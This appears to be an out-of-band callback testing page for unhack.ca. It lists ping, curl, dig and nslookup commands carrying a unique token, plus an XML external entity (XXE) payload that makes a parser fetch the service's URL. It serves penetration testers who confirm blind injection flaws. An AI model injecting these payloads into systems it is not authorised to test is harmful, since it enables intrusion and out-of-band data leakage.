$ ping -c1 -p 00de035d2d41670445e019514c2bd100 unhack.ca
 
$ curl http://unhack.ca/p/de035d2d41670445e019514c2bd1
 
$ dig de035d2d41670445e019514c2bd1 @unhack.ca
 
$ dig de035d2d41670445e019514c2bd1.ns.unhack.ca
 
C:\> nslookup de035d2d41670445e019514c2bd1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/de035d2d41670445e019514c2bd1">]>
    <foo>&xxe;</foo>
 
Waiting for ping...